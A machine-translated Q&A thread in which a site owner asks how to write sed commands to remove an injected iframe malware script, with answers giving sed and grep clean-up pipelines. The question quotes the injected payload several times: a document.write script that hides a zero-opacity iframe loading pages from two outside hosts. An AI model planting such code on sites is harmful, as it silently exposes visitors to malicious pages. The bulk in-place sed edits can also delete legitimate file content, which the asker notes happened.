2012-10-23 103 views
1

我正在帮助某人清理网站上的恶意软件感染,并且我很难在sed中正确匹配某些字符串,因此我可以创建脚本来批量搜索并替换/删除它。清理iframe恶意软件

字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> 

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> 

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> 

我似乎无法弄清楚如何逃脱的各种人物在这些线路...

如果我尝试只是说删除整个行,如果它匹配http://vidintex.com/includes/class.pop.php它也会删除.html文件中的关闭html </body>

所以我需要能够将此整条生产线在sed匹配:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> 

任何帮助将不胜感激!

回答

1

你可以试着这样做:

sed -i '/vidintex.com\/includes\/class.pop.php/d' files* 

这将删除含vidintex.com/includes/class.pop.php

+0

谢谢。这让我更加接近,但它也会删除文件中的结尾“”。 (这些字符串在文件的末尾) – enochroot

0

所有行就可以开始使用SMScanner在SourceForge!这将解决您的问题立即

0

类似Looking for script to delete iframe malware from linux server,你可以查找被放在旁边的最终body标签和替换只用body标签script标签。该脚本将查找所有受影响的文件并删除最终脚本。

它有可能会在最后找到带有脚本的真正文件 - 因此请首先检查文件的grep是否仅查找受感染的文件。

# grep recursively for text 
# escape all spaces in file names 
# global search and replace with just body tag 
grep -Rl "</script></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<script .*><\/script><\/body>/<\/body>/g'